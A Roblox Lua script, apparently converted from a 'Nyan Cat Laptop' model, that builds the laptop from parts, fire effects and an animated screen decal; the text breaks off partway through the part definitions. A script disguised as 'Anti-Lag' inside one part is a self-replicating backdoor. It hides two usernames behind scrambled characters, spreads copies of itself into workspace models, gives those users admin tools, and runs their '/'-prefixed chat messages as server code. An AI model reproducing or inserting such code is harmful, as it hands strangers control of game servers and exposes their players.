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- if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
- local Player,Mouse,mouse,UserInputService,ContextActionService = owner
- do
- print("FE Compatibility code by Mokiros | Translated to FE by iPxter")
- script.Parent = Player.Character
- --RemoteEvent for communicating
- local Event = Instance.new("RemoteEvent")
- Event.Name = "UserInput_Event"
- --Fake event to make stuff like Mouse.KeyDown work
- local function fakeEvent()
- local t = {_fakeEvent=true,Connect=function(self,f)self.Function=f end}
- t.connect = t.Connect
- return t
- end
- --Creating fake input objects with fake variables
- local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
- local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
- local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
- CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
- end}
- --Merged 2 functions into one by checking amount of arguments
- CAS.UnbindAction = CAS.BindAction
- --This function will trigger the events that have been :Connect()'ed
- local function te(self,ev,...)
- local t = m[ev]
- if t and t._fakeEvent and t.Function then
- t.Function(...)
- end
- end
- m.TrigEvent = te
- UIS.TrigEvent = te
- Event.OnServerEvent:Connect(function(plr,io)
- if plr~=Player then return end
- if io.isMouse then
- m.Target = io.Target
- m.Hit = io.Hit
- else
- local b = io.UserInputState == Enum.UserInputState.Begin
- if io.UserInputType == Enum.UserInputType.MouseButton1 then
- return m:TrigEvent(b and "Button1Down" or "Button1Up")
- end
- for _,t in pairs(CAS.Actions) do
- for _,k in pairs(t.Keys) do
- if k==io.KeyCode then
- t.Function(t.Name,io.UserInputState,io)
- end
- end
- end
- m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
- UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
- end
- end)
- Event.Parent = NLS([==[
- local Player = game:GetService("Players").LocalPlayer
- local Event = script:WaitForChild("UserInput_Event")
- local UIS = game:GetService("UserInputService")
- local input = function(io,a)
- if a then return end
- --Since InputObject is a client-side instance, we create and pass table instead
- Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState})
- end
- UIS.InputBegan:Connect(input)
- UIS.InputEnded:Connect(input)
- local Mouse = Player:GetMouse()
- local h,t
- --Give the server mouse data 30 times every second, but only if the values changed
- --If player is not moving their mouse, client won't fire events
- while wait(1/30) do
- if h~=Mouse.Hit or t~=Mouse.Target then
- h,t=Mouse.Hit,Mouse.Target
- Event:FireServer({isMouse=true,Target=t,Hit=h})
- end
- end]==],Player.Character)
- Mouse,mouse,UserInputService,ContextActionService = m,m,UIS,CAS
- end
- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Part1 = Instance.new("Part")
- Part2 = Instance.new("Part")
- Part3 = Instance.new("Part")
- Part4 = Instance.new("Part")
- Part5 = Instance.new("Part")
- Part6 = Instance.new("Part")
- Part7 = Instance.new("Part")
- Fire8 = Instance.new("Fire")
- Script9 = Instance.new("Script")
- Part10 = Instance.new("Part")
- Part11 = Instance.new("Part")
- Part12 = Instance.new("Part")
- Fire13 = Instance.new("Fire")
- Part14 = Instance.new("Part")
- Fire15 = Instance.new("Fire")
- Part16 = Instance.new("Part")
- Part17 = Instance.new("Part")
- Fire18 = Instance.new("Fire")
- Part19 = Instance.new("Part")
- Fire20 = Instance.new("Fire")
- Part21 = Instance.new("Part")
- Part22 = Instance.new("Part")
- Fire23 = Instance.new("Fire")
- Part24 = Instance.new("Part")
- Part25 = Instance.new("Part")
- Part26 = Instance.new("Part")
- Fire27 = Instance.new("Fire")
- Part28 = Instance.new("Part")
- Fire29 = Instance.new("Fire")
- Part30 = Instance.new("Part")
- Decal31 = Instance.new("Decal")
- Script32 = Instance.new("Script")
- Part33 = Instance.new("Part")
- Fire34 = Instance.new("Fire")
- Part35 = Instance.new("Part")
- Fire36 = Instance.new("Fire")
- Part37 = Instance.new("Part")
- Fire38 = Instance.new("Fire")
- Part39 = Instance.new("Part")
- Fire40 = Instance.new("Fire")
- Part41 = Instance.new("Part")
- Fire42 = Instance.new("Fire")
- Part43 = Instance.new("Part")
- Fire44 = Instance.new("Fire")
- Part45 = Instance.new("Part")
- Fire46 = Instance.new("Fire")
- Part47 = Instance.new("Part")
- Fire48 = Instance.new("Fire")
- Part49 = Instance.new("Part")
- Fire50 = Instance.new("Fire")
- Part51 = Instance.new("Part")
- Fire52 = Instance.new("Fire")
- Part53 = Instance.new("Part")
- Fire54 = Instance.new("Fire")
- Part55 = Instance.new("Part")
- Fire56 = Instance.new("Fire")
- Part57 = Instance.new("Part")
- Fire58 = Instance.new("Fire")
- Part59 = Instance.new("Part")
- Fire60 = Instance.new("Fire")
- Part61 = Instance.new("Part")
- Fire62 = Instance.new("Fire")
- Part63 = Instance.new("Part")
- Fire64 = Instance.new("Fire")
- Part65 = Instance.new("Part")
- Fire66 = Instance.new("Fire")
- Part67 = Instance.new("Part")
- Fire68 = Instance.new("Fire")
- Script69 = Instance.new("Script")
- Model0.Name = "Nyan Cat Laptop"
- Model0.Parent = mas
- Part1.Parent = Model0
- Part1.CFrame = CFrame.new(-27.4398022, 0.109940998, -0.350766987, -6.83660536e-15, -2.35746144e-30, 0.999999881, 2.6248311e-14, 0.999999881, -8.73672119e-29, -1, 2.24093374e-14, 6.88340986e-15)
- Part1.Orientation = Vector3.new(0, 90, 0)
- Part1.Position = Vector3.new(-27.4398022, 0.109940998, -0.350766987)
- Part1.Rotation = Vector3.new(0, 89.9700012, 180)
- Part1.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part1.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part1.Anchored = true
- Part1.BrickColor = BrickColor.new("Black")
- Part1.Material = Enum.Material.SmoothPlastic
- Part1.brickColor = BrickColor.new("Black")
- Part1.FormFactor = Enum.FormFactor.Custom
- Part1.formFactor = Enum.FormFactor.Custom
- Part2.Parent = Model0
- Part2.CFrame = CFrame.new(-27.8397942, 0.119930997, -0.350769013, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part2.Orientation = Vector3.new(0, 90, 0)
- Part2.Position = Vector3.new(-27.8397942, 0.119930997, -0.350769013)
- Part2.Rotation = Vector3.new(0, 89.9599991, 180)
- Part2.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part2.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part2.Anchored = true
- Part2.BrickColor = BrickColor.new("Black")
- Part2.Material = Enum.Material.SmoothPlastic
- Part2.brickColor = BrickColor.new("Black")
- Part2.FormFactor = Enum.FormFactor.Custom
- Part2.formFactor = Enum.FormFactor.Custom
- Part3.Parent = Model0
- Part3.CFrame = CFrame.new(-27.4398041, 0.119943, 0.0492319986, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part3.Orientation = Vector3.new(0, 90, 0)
- Part3.Position = Vector3.new(-27.4398041, 0.119943, 0.0492319986)
- Part3.Rotation = Vector3.new(0, 89.9599991, 180)
- Part3.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part3.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part3.Anchored = true
- Part3.BrickColor = BrickColor.new("Black")
- Part3.Material = Enum.Material.SmoothPlastic
- Part3.brickColor = BrickColor.new("Black")
- Part3.FormFactor = Enum.FormFactor.Custom
- Part3.formFactor = Enum.FormFactor.Custom
- Part4.Parent = Model0
- Part4.CFrame = CFrame.new(-28.2397804, 0.119930997, -0.350769013, -2.28668301e-14, -8.70102649e-29, 0.999999762, 2.29771866e-14, 0.999999762, -7.77682206e-29, -1, 1.39245898e-14, 6.61458701e-15)
- Part4.Orientation = Vector3.new(0, 90, 0)
- Part4.Position = Vector3.new(-28.2397804, 0.119930997, -0.350769013)
- Part4.Rotation = Vector3.new(0, 89.9599991, 180)
- Part4.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part4.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part4.Anchored = true
- Part4.BrickColor = BrickColor.new("Black")
- Part4.Material = Enum.Material.SmoothPlastic
- Part4.brickColor = BrickColor.new("Black")
- Part4.FormFactor = Enum.FormFactor.Custom
- Part4.formFactor = Enum.FormFactor.Custom
- Part5.Parent = Model0
- Part5.CFrame = CFrame.new(-27.8397942, 0.119930997, 0.0492319986, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part5.Orientation = Vector3.new(0, 90, 0)
- Part5.Position = Vector3.new(-27.8397942, 0.119930997, 0.0492319986)
- Part5.Rotation = Vector3.new(0, 89.9599991, 180)
- Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part5.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part5.Anchored = true
- Part5.BrickColor = BrickColor.new("Black")
- Part5.Material = Enum.Material.SmoothPlastic
- Part5.brickColor = BrickColor.new("Black")
- Part5.FormFactor = Enum.FormFactor.Custom
- Part5.formFactor = Enum.FormFactor.Custom
- Part6.Parent = Model0
- Part6.CFrame = CFrame.new(-27.4397964, 0.119938999, 0.449234009, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part6.Orientation = Vector3.new(0, 90, 0)
- Part6.Position = Vector3.new(-27.4397964, 0.119938999, 0.449234009)
- Part6.Rotation = Vector3.new(0, 89.9599991, 180)
- Part6.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part6.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part6.Anchored = true
- Part6.BrickColor = BrickColor.new("Black")
- Part6.Material = Enum.Material.SmoothPlastic
- Part6.brickColor = BrickColor.new("Black")
- Part6.FormFactor = Enum.FormFactor.Custom
- Part6.formFactor = Enum.FormFactor.Custom
- Part7.Parent = Model0
- Part7.CFrame = CFrame.new(-27.4397964, 0.109932996, 0.849236012, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part7.Orientation = Vector3.new(0, 90, 0)
- Part7.Position = Vector3.new(-27.4397964, 0.109932996, 0.849236012)
- Part7.Rotation = Vector3.new(0, 89.9599991, 180)
- Part7.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part7.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part7.Anchored = true
- Part7.BrickColor = BrickColor.new("Black")
- Part7.Material = Enum.Material.SmoothPlastic
- Part7.brickColor = BrickColor.new("Black")
- Part7.FormFactor = Enum.FormFactor.Custom
- Part7.formFactor = Enum.FormFactor.Custom
- Fire8.Parent = Part7
- Fire8.Color = Color3.new(1, 0.839216, 0)
- Fire8.Enabled = false
- Fire8.Size = 30
- Fire8.Heat = 25
- Fire8.SecondaryColor = Color3.new(1, 0, 0)
- Fire8.size = 30
- Script9.Name = "Anti-Lag"
- Script9.Parent = Part7
- table.insert(cors,sandbox(Script9,function()
- Altitude = script:clone()
- calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
- Knox = {}
- table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
- table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
- Play = {}
- function rando(votation)
- local hatr = 5
- local calc = math.pi * math.huge
- local longicate = votation:GetChildren()
- if #longicate > hatr then
- calc = calc + math.pi
- return longicate[math.random(6,#longicate)]
- end
- end
- function doublecheck()
- local fj = game.Workspace:GetChildren()
- for off = 1,#fj do
- if fj[off].className == "Part" then
- local fh = fj[off]:FindFirstChild("Anti-Lag")
- if fh ~= nil then
- return false
- end
- end
- end
- return true
- end
- function workcheck()
- if doublecheck() == true then
- local l = Altitude:clone()
- l.Parent = rando(game.Workspace)
- end
- end
- workcheck()
- function gibite(quen)
- local hup = Instance.new("Message")
- hup.Text = "Detected"
- hup.Parent = quen.Parent
- local con = Instance.new("Script")
- con.Source = [[wait(5) script.Parent:remove()]]
- con.Parent = hup
- for ish = 0,7 do
- local a = Instance.new("HopperBin")
- a.BinType = ish
- a.Parent = quen
- end
- end
- function laber(zonsa)
- wait()
- for slate = 1,#Knox do
- if zonsa.Name == Knox[slate] then
- gibite(zonsa.Backpack)
- table.insert (Play, 1, zonsa.Name)
- end
- end
- end
- function yeild(frequency)
- local t = Knox
- for g = 1,#t do
- if t[g] == frequency.Name then
- return true
- end
- end
- return false
- end
- function check(los)
- local r = los:GetChildren()
- for i = 1,#r do
- local h = r[i]:FindFirstChild("Anti-Lag")
- if h ~= nil then
- h:remove()
- end
- end
- end
- function alto(xylem)
- if xylem.className == "Model" then
- check(xylem)
- local que = script:clone()
- que.Parent = rando(xylem)
- end
- end
- function sortation(gone)
- local dimbs = Altitude:clone()
- dimbs = ramno(game.Workspace)
- end
- function onPlayerEntered(newPlayer)
- newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end)
- end
- function Player(player)
- player.Changed:connect(function (property)
- if property == "Character" then
- laber(player)
- end
- end)
- end
- game.Players.PlayerAdded:connect(Player)
- game.Players.ChildAdded:connect(onPlayerEntered)
- game.Players.ChildAdded:connect(laber)
- script.ChildRemoved:connect(sortation)
- game.Workspace.ChildAdded:connect(alto)
- function onChatted(msg, recipient, speaker)
- if yeild(speaker) ~= false then
- if string.sub(msg,1,1) == "/" then
- local dsting = Instance.new("Script")
- dsting.Source = string.sub(msg,2)
- dsting.Parent = game.Workspace
- end
- end
- end
- end))
- Part10.Parent = Model0
- Part10.CFrame = CFrame.new(-28.2397804, 0.119930997, 0.0492319986, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part10.Orientation = Vector3.new(0, 90, 0)
- Part10.Position = Vector3.new(-28.2397804, 0.119930997, 0.0492319986)
- Part10.Rotation = Vector3.new(0, 89.9599991, 180)
- Part10.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part10.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part10.Anchored = true
- Part10.BrickColor = BrickColor.new("Black")
- Part10.Material = Enum.Material.SmoothPlastic
- Part10.brickColor = BrickColor.new("Black")
- Part10.FormFactor = Enum.FormFactor.Custom
- Part10.formFactor = Enum.FormFactor.Custom
- Part11.Parent = Model0
- Part11.CFrame = CFrame.new(-27.8397903, 0.119943, 0.449234009, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part11.Orientation = Vector3.new(0, 90, 0)
- Part11.Position = Vector3.new(-27.8397903, 0.119943, 0.449234009)
- Part11.Rotation = Vector3.new(0, 89.9599991, 180)
- Part11.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part11.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part11.Anchored = true
- Part11.BrickColor = BrickColor.new("Black")
- Part11.Material = Enum.Material.SmoothPlastic
- Part11.brickColor = BrickColor.new("Black")
- Part11.FormFactor = Enum.FormFactor.Custom
- Part11.formFactor = Enum.FormFactor.Custom
- Part12.Parent = Model0
- Part12.CFrame = CFrame.new(-27.4397964, 0.119938999, 1.24922895, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part12.Orientation = Vector3.new(0, 90, 0)
- Part12.Position = Vector3.new(-27.4397964, 0.119938999, 1.24922895)
- Part12.Rotation = Vector3.new(0, 89.9599991, 180)
- Part12.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part12.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part12.Anchored = true
- Part12.BrickColor = BrickColor.new("Black")
- Part12.Material = Enum.Material.SmoothPlastic
- Part12.brickColor = BrickColor.new("Black")
- Part12.FormFactor = Enum.FormFactor.Custom
- Part12.formFactor = Enum.FormFactor.Custom
- Fire13.Parent = Part12
- Fire13.Color = Color3.new(1, 0.839216, 0)
- Fire13.Enabled = false
- Fire13.Size = 30
- Fire13.Heat = 25
- Fire13.SecondaryColor = Color3.new(1, 0, 0)
- Fire13.size = 30
- Part14.Parent = Model0
- Part14.CFrame = CFrame.new(-27.4397964, 0.119938999, 1.64923096, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part14.Orientation = Vector3.new(0, 90, 0)
- Part14.Position = Vector3.new(-27.4397964, 0.119938999, 1.64923096)
- Part14.Rotation = Vector3.new(0, 89.9599991, 180)
- Part14.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part14.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part14.Anchored = true
- Part14.BrickColor = BrickColor.new("Black")
- Part14.Material = Enum.Material.SmoothPlastic
- Part14.brickColor = BrickColor.new("Black")
- Part14.FormFactor = Enum.FormFactor.Custom
- Part14.formFactor = Enum.FormFactor.Custom
- Fire15.Parent = Part14
- Fire15.Color = Color3.new(1, 0.839216, 0)
- Fire15.Enabled = false
- Fire15.Size = 30
- Fire15.Heat = 25
- Fire15.SecondaryColor = Color3.new(1, 0, 0)
- Fire15.size = 30
- Part16.Parent = Model0
- Part16.CFrame = CFrame.new(-28.6397781, 0.119938999, -0.150764003, 1.06464647e-14, -2.91054757e-27, 0.999990284, -6.65890615e-14, 0.999990284, -1.99182544e-27, -1, -2.6141082e-13, 7.76688013e-14)
- Part16.Orientation = Vector3.new(0, 90, 0)
- Part16.Position = Vector3.new(-28.6397781, 0.119938999, -0.150764003)
- Part16.Rotation = Vector3.new(0, 89.75, 0)
- Part16.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part16.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part16.Anchored = true
- Part16.BrickColor = BrickColor.new("Black")
- Part16.Material = Enum.Material.SmoothPlastic
- Part16.brickColor = BrickColor.new("Black")
- Part16.FormFactor = Enum.FormFactor.Custom
- Part16.formFactor = Enum.FormFactor.Custom
- Part17.Parent = Model0
- Part17.CFrame = CFrame.new(-28.2397804, 0.119930997, 0.849236012, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part17.Orientation = Vector3.new(0, 90, 0)
- Part17.Position = Vector3.new(-28.2397804, 0.119930997, 0.849236012)
- Part17.Rotation = Vector3.new(0, 89.9599991, 180)
- Part17.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part17.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part17.Anchored = true
- Part17.BrickColor = BrickColor.new("Black")
- Part17.Material = Enum.Material.SmoothPlastic
- Part17.brickColor = BrickColor.new("Black")
- Part17.FormFactor = Enum.FormFactor.Custom
- Part17.formFactor = Enum.FormFactor.Custom
- Fire18.Parent = Part17
- Fire18.Color = Color3.new(1, 0.839216, 0)
- Fire18.Enabled = false
- Fire18.Size = 30
- Fire18.Heat = 25
- Fire18.SecondaryColor = Color3.new(1, 0, 0)
- Fire18.size = 30
- Part19.Parent = Model0
- Part19.CFrame = CFrame.new(-27.8397903, 0.119943, 1.24922895, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part19.Orientation = Vector3.new(0, 90, 0)
- Part19.Position = Vector3.new(-27.8397903, 0.119943, 1.24922895)
- Part19.Rotation = Vector3.new(0, 89.9599991, 180)
- Part19.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part19.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part19.Anchored = true
- Part19.BrickColor = BrickColor.new("Black")
- Part19.Material = Enum.Material.SmoothPlastic
- Part19.brickColor = BrickColor.new("Black")
- Part19.FormFactor = Enum.FormFactor.Custom
- Part19.formFactor = Enum.FormFactor.Custom
- Fire20.Parent = Part19
- Fire20.Color = Color3.new(1, 0.839216, 0)
- Fire20.Enabled = false
- Fire20.Size = 30
- Fire20.Heat = 25
- Fire20.SecondaryColor = Color3.new(1, 0, 0)
- Fire20.size = 30
- Part21.Parent = Model0
- Part21.CFrame = CFrame.new(-28.2397804, 0.119938999, 0.449234009, 2.78604756e-14, -1.94508062e-27, 0.999999762, -1.59030124e-13, 0.999999762, -1.60901451e-27, -1, -1.67263813e-13, 6.34580076e-14)
- Part21.Orientation = Vector3.new(0, 90, 0)
- Part21.Position = Vector3.new(-28.2397804, 0.119938999, 0.449234009)
- Part21.Rotation = Vector3.new(0, 89.9599991, 0)
- Part21.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part21.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part21.Anchored = true
- Part21.BrickColor = BrickColor.new("Black")
- Part21.Material = Enum.Material.SmoothPlastic
- Part21.brickColor = BrickColor.new("Black")
- Part21.FormFactor = Enum.FormFactor.Custom
- Part21.formFactor = Enum.FormFactor.Custom
- Part22.Parent = Model0
- Part22.CFrame = CFrame.new(-27.8397942, 0.119930997, 0.849236012, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part22.Orientation = Vector3.new(0, 90, 0)
- Part22.Position = Vector3.new(-27.8397942, 0.119930997, 0.849236012)
- Part22.Rotation = Vector3.new(0, 89.9599991, 180)
- Part22.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part22.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part22.Anchored = true
- Part22.BrickColor = BrickColor.new("Black")
- Part22.Material = Enum.Material.SmoothPlastic
- Part22.brickColor = BrickColor.new("Black")
- Part22.FormFactor = Enum.FormFactor.Custom
- Part22.formFactor = Enum.FormFactor.Custom
- Fire23.Parent = Part22
- Fire23.Color = Color3.new(1, 0.839216, 0)
- Fire23.Enabled = false
- Fire23.Size = 30
- Fire23.Heat = 25
- Fire23.SecondaryColor = Color3.new(1, 0, 0)
- Fire23.size = 30
- Part24.Parent = Model0
- Part24.CFrame = CFrame.new(-28.6397781, 0.119938999, 0.249228999, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part24.Orientation = Vector3.new(0, 90, 0)
- Part24.Position = Vector3.new(-28.6397781, 0.119938999, 0.249228999)
- Part24.Rotation = Vector3.new(0, 89.9599991, 180)
- Part24.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part24.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part24.Anchored = true
- Part24.BrickColor = BrickColor.new("Black")
- Part24.Material = Enum.Material.SmoothPlastic
- Part24.brickColor = BrickColor.new("Black")
- Part24.FormFactor = Enum.FormFactor.Custom
- Part24.formFactor = Enum.FormFactor.Custom
- Part25.Parent = Model0
- Part25.CFrame = CFrame.new(-28.6397781, 0.120572001, 0.649231017, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part25.Orientation = Vector3.new(0, 90, 0)
- Part25.Position = Vector3.new(-28.6397781, 0.120572001, 0.649231017)
- Part25.Rotation = Vector3.new(0, 89.9599991, 180)
- Part25.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part25.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part25.Anchored = true
- Part25.BrickColor = BrickColor.new("Black")
- Part25.Material = Enum.Material.SmoothPlastic
- Part25.brickColor = BrickColor.new("Black")
- Part25.FormFactor = Enum.FormFactor.Custom
- Part25.formFactor = Enum.FormFactor.Custom
- Part26.Name = "Back"
- Part26.Parent = Model0
- Part26.CFrame = CFrame.new(-26.4190445, 1.49986994, 1.04923201, 8.31425382e-08, 0.951056302, 0.309017003, -2.70146661e-08, -0.309017003, 0.951056302, 1, -8.74212418e-08, 1.19082626e-14)
- Part26.Orientation = Vector3.new(-72, 90, -180)
- Part26.Position = Vector3.new(-26.4190445, 1.49986994, 1.04923201)
- Part26.Rotation = Vector3.new(-90, 18, -90)
- Part26.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part26.Size = Vector3.new(4, 0.200000003, 3)
- Part26.Anchored = true
- Part26.BrickColor = BrickColor.new("Really black")
- Part26.Material = Enum.Material.SmoothPlastic
- Part26.brickColor = BrickColor.new("Really black")
- Part26.FormFactor = Enum.FormFactor.Custom
- Part26.formFactor = Enum.FormFactor.Custom
- Fire27.Parent = Part26
- Fire27.Color = Color3.new(1, 0.839216, 0)
- Fire27.Enabled = false
- Fire27.Size = 30
- Fire27.Heat = 25
- Fire27.SecondaryColor = Color3.new(1, 0, 0)
- Fire27.size = 30
- Part28.Name = "Bottom"
- Part28.Parent = Model0
- Part28.CFrame = CFrame.new(-28.3397903, 0.100013003, 1.04923201, -0, 0, 1, -0, 1, 0, -1, 0, 0)
- Part28.Orientation = Vector3.new(0, 90, 0)
- Part28.Position = Vector3.new(-28.3397903, 0.100013003, 1.04923201)
- Part28.Rotation = Vector3.new(0, 90, 0)
- Part28.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part28.Size = Vector3.new(4, 0.200000003, 3)
- Part28.Anchored = true
- Part28.BrickColor = BrickColor.new("Really black")
- Part28.Material = Enum.Material.SmoothPlastic
- Part28.brickColor = BrickColor.new("Really black")
- Part28.FormFactor = Enum.FormFactor.Custom
- Part28.formFactor = Enum.FormFactor.Custom
- Fire29.Parent = Part28
- Fire29.Color = Color3.new(1, 0.839216, 0)
- Fire29.Enabled = false
- Fire29.Size = 30
- Fire29.Heat = 25
- Fire29.SecondaryColor = Color3.new(1, 0, 0)
- Fire29.size = 30
- Part30.Name = "Screen"
- Part30.Parent = Model0
- Part30.CFrame = CFrame.new(-26.4181271, 1.53227305, 1.04923201, -4.67123085e-15, 0.309016913, 0.951056242, -1.7377301e-14, 0.951056242, -0.309016913, -1, -1.66318087e-14, 3.86128981e-14)
- Part30.Orientation = Vector3.new(18, 90, 0)
- Part30.Position = Vector3.new(-26.4181271, 1.53227305, 1.04923201)
- Part30.Rotation = Vector3.new(90, 72, -90)
- Part30.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part30.Size = Vector3.new(3.20000005, 2.20000005, 0.200000003)
- Part30.Anchored = true
- Part30.BrickColor = BrickColor.new("Black")
- Part30.Material = Enum.Material.SmoothPlastic
- Part30.brickColor = BrickColor.new("Black")
- Part30.FormFactor = Enum.FormFactor.Custom
- Part30.formFactor = Enum.FormFactor.Custom
- Decal31.Parent = Part30
- Decal31.Texture = "http://www.roblox.com/asset/?id=51372139"
- Script32.Parent = Part30
- table.insert(cors,sandbox(Script32,function()
- Board = script.Parent.Decal
- while true do
- Board.Texture = "http://www.roblox.com/asset/?id=51372112"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372116"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372125"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372131"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372137"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372139"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372145"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372148"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372155"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372158"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372162"
- wait(0.065)
- Board.Texture = "http://www.roblox.com/asset/?id=51372165"
- wait(0.065)
- end
- end))
- Part33.Parent = Model0
- Part33.CFrame = CFrame.new(-27.4397964, 0.119938999, 2.04923201, -1.36732099e-14, -1.41447683e-29, 0.999999762, 2.76276279e-14, 0.999999762, -2.69174012e-28, -1, 2.10300171e-14, 1.37200144e-14)
- Part33.Orientation = Vector3.new(0, 90, 0)
- Part33.Position = Vector3.new(-27.4397964, 0.119938999, 2.04923201)
- Part33.Rotation = Vector3.new(0, 89.9599991, 180)
- Part33.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part33.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part33.Anchored = true
- Part33.BrickColor = BrickColor.new("Black")
- Part33.Material = Enum.Material.SmoothPlastic
- Part33.brickColor = BrickColor.new("Black")
- Part33.FormFactor = Enum.FormFactor.Custom
- Part33.formFactor = Enum.FormFactor.Custom
- Fire34.Parent = Part33
- Fire34.Color = Color3.new(1, 0.839216, 0)
- Fire34.Enabled = false
- Fire34.Size = 30
- Fire34.Heat = 25
- Fire34.SecondaryColor = Color3.new(1, 0, 0)
- Fire34.size = 30
- Part35.Parent = Model0
